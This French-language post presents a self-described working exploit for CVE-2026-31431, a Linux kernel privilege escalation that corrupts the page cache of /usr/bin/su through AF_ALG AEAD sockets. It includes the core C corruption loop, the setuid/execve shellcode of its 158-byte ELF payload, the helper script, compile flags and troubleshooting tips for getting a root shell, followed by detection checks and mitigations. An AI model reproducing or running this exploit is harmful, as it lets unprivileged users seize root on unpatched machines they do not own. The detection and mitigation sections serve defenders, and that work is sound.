
Preuve de concept fonctionnelle pour CVE-2026-31431, une élévation de privilèges locale du noyau Linux via la corruption du cache de pages AEAD AF_ALG, permettant d'obtenir un shell root.
2026-04-29 — Je publie cet exploit un jour après l'avoir partagé sur le forum MyDigitalLife. Il ne nécessite pas Python ; il est écrit en C et compilé à la taille la plus petite possible en utilisant :
musl-gcc -static -Os -o exploit exploit.c -sMenace critique. Le binaire de l'exploit est compilé sans dépendances et peut être utilisé pour tester les vulnérabilités sur n'importe quel système Linux.
CVE-2026-31431 est une vulnérabilité confirmée par le NIST dans le noyau Linux qui permet à un utilisateur local non privilégié d'obtenir un shell
rooten quelques secondes. Compte tenu de l'exploit circulant publiquement pour CVE-2026-31431, j'ai développé une preuve de concept (PoC) binaire pour évaluer l'exposition de notre infrastructure interne. Bien que certains environnements restreignent l'utilisation de su, cette vulnérabilité est particulièrement critique pour les serveurs partagés car elle cible la gestion de la mémoire du noyau sous-jacent. Par conséquent, tout binaire SETUID — y compris sudo, passwd, mount ou newgrp — peut être exploité pour déclencher l'exploit et obtenir un shell root. Une action administrative pour corriger le noyau est requise immédiatement, car les restrictions standard de l'espace utilisateur sont insuffisantes pour atténuer cette menace. Tout système Linux exécutant un noyau non corrigé est à risque.
Mon propre exploit fonctionnel · Noyau Linux · Interface cryptographique AF_ALG (AEAD)
Remplace /usr/bin/su dans le cache de pages du noyau sans toucher au fichier sur disque
Un accès shell local suffit — aucun privilège supplémentaire requis
Affecte les distributions Linux non corrigées

CVE-2026-31431 est un bug dans la gestion des opérations d'E/S scatter-gather et des références au cache de pages dans le sous-système cryptographique du noyau Linux — plus précisément dans l'implémentation des sockets AF_ALG pour les algorithmes AEAD (crypto/af_alg.c, crypto/aead.c).
Le noyau Linux expose une interface cryptographique à l'espace utilisateur via les sockets AF_ALG. La vulnérabilité réside dans le fait que lors d'une opération de déchiffrement AEAD, le noyau mappe incorrectement la sortie du déchiffrement directement sur les pages du cache de pages du fichier source — au lieu d'un tampon temporaire. Un attaquant peut ainsi écraser le contenu en mémoire de n'importe quel fichier sans le modifier sur disque, sans privilèges root, et sans laisser de trace visible dans le système de fichiers.
L'exploit se compose de deux éléments : un script auxiliaire dans /tmp/x et une boucle de corruption basée sur AF_ALG. Voici un parcours exact basé sur l'analyse du code source :
1. Configuration du script auxiliaire
L'exploit crée /tmp/x avec le contenu suivant :
#!/bin/sh
export TERM=xterm-256color
exec /bin/sh
Il définit les permissions sur 0755. La raison : /usr/bin/su supprime les variables d'environnement (y compris TERM) au lancement. Le script auxiliaire les restaure avant de lancer le vrai shell, garantissant un terminal fonctionnel.
2. Construction de la charge utile ELF
Un binaire ELF x86_64 minimal de 158 octets contenant du shellcode brut est construit en mémoire. La chaîne /bin/sh à l'offset 150 est ensuite remplacée par /tmp/x\0 via memcmp/memcpy. Voir Charge utile ELF pour plus de détails.
3. Ouverture de /usr/bin/su en lecture seule
int su_fd = open("/usr/bin/su", O_RDONLY);
Le fichier est ouvert en lecture seule — l'exploit ne nécessite aucune permission d'écriture.
4. Boucle de corruption — 39 itérations de 4 octets chacune
La charge utile (158 octets) est traitée par blocs de 4 octets (39 blocs complets). Chaque bloc passe par corrupt_binary_chunk(), qui effectue :
AF_ALG (SOCK_SEQPACKET)authencesn(hmac(sha256),cbc(aes)) — un algorithme AEAD composéop_sock)sendmsg avec un tampon de 8 octets (4× 'A' + 4 octets de charge utile) et trois CMSG : ALG_OP_DECRYPT, IV (20 octets), assoclen=8splice : su_fd → pipe → op_sock (zéro-copie à travers le noyau)recv() — c'est ici que le noyau écrase par erreur le cache de pages5. Exécution
execve("/usr/bin/su", args, NULL);
Le noyau charge /usr/bin/su via le cache de pages — qui est maintenant empoisonné. Le bit SUID (chmod u+s) est intact, donc le noyau exécute le fichier en tant que root. Le shellcode exécute setuid(0) → execve("/tmp/x") → shell root interactif.
flowchart TD
A[Utilisateur local non privilégié] --> B["Crée le script auxiliaire /tmp/x\nchmod 0755"]
B --> C["Construit la charge utile ELF de 158 octets\nPatch : /bin/sh → /tmp/x"]
C --> D["open /usr/bin/su O_RDONLY\nAucune permission d'écriture nécessaire"]
D --> E[Boucle : 39 blocs de 4 octets]
E --> F[socket AF_ALG SOCK_SEQPACKET]
F --> G["bind : authencesn hmac sha256 cbc aes"]
G --> H["setsockopt : clé 72B + authsize=4"]
H --> I[accept → op_sock]
I --> J["sendmsg : 8B de données + 3x CMSG\nDECRYPT / IV 20B / assoclen=8"]
J --> K["splice : su_fd → pipe → op_sock\nzéro-copie à travers le noyau"]
K --> L[recv → finalise l'opération AEAD]
L --> M["BUG DU NOYAU : la sortie du déchiffrement\nécrase le cache de pages de su_fd"]
M --> N{Bloc suivant ?}
N -->|Oui| E
N -->|Non| O["execve /usr/bin/su"]
O --> P["Le noyau charge /usr/bin/su\ndepuis le cache de pages empoisonné"]
P --> Q["Bit SUID intact\nle noyau exécute en tant que root"]
Q --> R["Shellcode : setuid 0 syscall 105"]
R --> S["execve /tmp/x syscall 59"]
S --> T[Shell root interactif]Sections clés de exploit.c examinées ci-dessous :
corrupt_binary_chunk()Le cœur de l'exploit. Chaque appel coordonne une transaction AF_ALG complète :
static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4])
{
// Crée un socket AF_ALG et se lie à AEAD authencesn(hmac(sha256),cbc(aes))
alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));
// Clé de 72 octets + taille du tag d'authentification = 4 octets
setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key)); // 72B
setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
op_sock = accept(alg_sock, NULL, NULL);
// Tampon : 4x 'A' comme données associées + 4 octets de charge utile
unsigned char msg_buf[8] = {'A','A','A','A', chunk[0],chunk[1],chunk[2],chunk[3]};
// 3 CMSG : opération DECRYPT / IV (20B, premier octet 0x10) / assoclen=8
// sendmsg avec MSG_MORE — les données ne sont pas encore complètes
sendmsg(op_sock, &msg, MSG_MORE);
// splice zéro-copie : su_fd → pipe → op_sock (offset+4 octets)
splice(fd, &off_in, pipefd[1], NULL, total_len, 0);
splice(pipefd[0], NULL, op_sock, NULL, total_len, 0);
// recv finalise l'opération — le noyau écrit incorrectement dans le cache de pages de su_fd ici
recv(op_sock, dummy, 8 + offset, 0);
}
for (size_t i = 0; i < len; i += 4) {
if (i + 4 > len) break; // ignore les 2 derniers octets (158 % 4 = 2)
corrupt_binary_chunk(su_fd, i, &payload[i]);
}
// 39 blocs complets × 4 octets = 156 octets appliqués
La charge utile est un binaire ELF x86_64 autonome de 158 octets avec du shellcode brut — pas de linker dynamique, pas de bibliothèques externes.
; offset 120 — point d'entrée 0x400078
xor eax, eax ; eax = 0
xor edi, edi ; edi = 0 (uid = 0)
mov al, 105 ; syscall setuid(0)
syscall
lea rdi, [rip+0xf] ; rdi → "/tmp/x\0" (offset 150)
xor esi, esi ; argv = NULL
push 59
pop rax ; syscall execve
cdq ; rdx = 0 (envp = NULL)
syscall
xor edi, edi
push 60
pop rax ; syscall exit(0)
syscall
; offset 150
db "/tmp/x", 0, 0 ; (remplacé depuis "/bin/sh\0")
uname -r
Comparez la sortie avec la liste des versions vulnérables publiée par le NIST : nvd.nist.gov/vuln/detail/CVE-2026-31431
python3 -c "import socket; s = socket.socket(38, socket.SOCK_SEQPACKET); print('AF_ALG disponible — le système peut être vulnérable')"
Si la commande renvoie [Errno 97] Address family not supported — le module est désactivé et le risque est significativement réduit.
/usr/bin/suls -la /usr/bin/su
Si le bit s est présent (par ex. -rwsr-xr-x) — /usr/bin/su a le SUID défini et constitue le vecteur d'attaque.
# Décharger le module AF_ALG si non nécessaire
sudo modprobe -r af_alg 2>/dev/null || echo "Le module est intégré au noyau — impossible de le décharger"
# Alternative — supprimer temporairement le SUID
sudo chmod u-s /usr/bin/su
Cette section est destinée aux chercheurs en sécurité analysant la vulnérabilité dans un environnement isolé.
socket() ou bind() échoueSymptôme : perror("socket") ou perror("bind") déclenche la sortie.
Causes :
AF_ALG ou l'algorithme authencesn — vérifier : cat /proc/crypto | grep authencesnsudo modprobe hmac sha256 cbc aead authencesnAF_ALG — vérifier les journaux : dmesg | tail -20splice() renvoie EPERM / EINVALSymptôme : L'opération splice est rejetée par le noyau.
Causes :
su_fd pointe vers un fichier régulier, pas un lien symbolique ou un périphériquedmesg pour les entrées du journal d'audit bloquant la zéro-copie dans les sockets cryptographiquesexecve lance un shell utilisateur normalSymptôme : Pas d'invite root ; id montre l'UID d'origine.
Causes :
/usr/bin/su n'a pas le bit SUID — ls -la /usr/bin/su, le bit s doit être visibleexecve — ajouter sync ou réduire le délai de la boucle/tmp/x introuvable ou TERM manquantSymptôme : Le shell se lance mais le rendu du terminal est cassé.
Causes :
/tmp est accessible en écriture et non monté avec noexec/tmp/x doit avoir les permissions 0755 — vérifier : ls -la /tmp/xexecve("/tmp/x") échoue — le shellcode peut être re-patché pour utiliser /bin/sh directementAVERTISSEMENT : Ce document est publié uniquement à des fins informatives, éducatives et défensives. Il décrit une menace connue publiquement, identifiée par le NIST et signalée par la communauté de la sécurité. Exécuter l'exploit sur des systèmes que vous ne possédez pas ou sans autorisation explicite de test peut violer les lois applicables et entraîner une responsabilité pénale. Testez uniquement dans des environnements de laboratoire isolés.
Toutes les marques déposées appartiennent à leurs propriétaires respectifs. Linux et les marques associées sont des marques déposées de la Linux Foundation.
Dernière mise à jour : 2026-04-29
| Propriété | Valeur |
|---|
| Identifiant | CVE-2026-31431 |
| Référence | NIST NVD |
| Type | Élévation de privilèges locale (LPE) |
| Composant | Noyau Linux — AF_ALG / AEAD (authencesn) |
| Accès requis | Utilisateur local non privilégié |
| Impact | Shell root interactif |
| Statut de l'exploit | PoC fonctionnel disponible publiquement sur GitHub |
| Persistance | Aucune — la modification n'existe qu'en RAM ; un redémarrage restaure l'état d'origine |
| Système | Statut |
|---|
| Ubuntu 24.04 (machine physique / VM) | ⚠️ Vulnérable sur noyau non corrigé |
| Debian, Fedora, Arch sur noyau non corrigé | ⚠️ Vulnérable |
Distributions avec CONFIG_SECURITY_LOCKDOWN_LSM | ✅ Probablement protégé |
Systèmes avec nosuid ou ProtectSUID (systemd) | ✅ Protégé |
Systèmes avec AppArmor/SELinux bloquant AF_ALG | ✅ Protégé |
| macOS, Windows (natif) | ✅ Non concerné |
| Champ | Détails |
|---|
| Taille totale | 158 octets |
| En-tête ELF | 120 octets (e_type=2 EXEC, e_machine=62 x86_64) |
| Point d'entrée | 0x00400078 = offset 120 (immédiatement après l'en-tête) |
| Shellcode | 30 octets (offsets 120–149) |
| Chaîne cible | 8 octets à l'offset 150 (/bin/sh\0 → remplacé par /tmp/x\0) |
| Blocs de 4 octets | 39 complets (156 octets) ; les 2 derniers octets sont ignorés |
| Mesure d'atténuation | Comment l'appliquer | Efficacité |
|---|
| Mise à jour du noyau | sudo apt update && sudo apt upgrade + redémarrage | ✅ Complète (lorsque le correctif est disponible) |
| Blacklister le module AF_ALG | echo "install af_alg /bin/false" >> /etc/modprobe.d/blacklist.conf | ✅ Bloque le vecteur d'attaque |
Supprimer le SUID de su | sudo chmod u-s /usr/bin/su | ✅ Bloque cet exploit (nota : su cessera de fonctionner) |
Monter /tmp avec noexec | Modifier /etc/fstab : tmpfs /tmp tmpfs noexec,nosuid 0 0 | ⚠️ Partielle — bloque /tmp/x, l'exploit peut utiliser un autre chemin |
| AppArmor / SELinux | Profil bloquant AF_ALG socket pour les utilisateurs non privilégiés | ✅ Efficace avec une configuration correcte |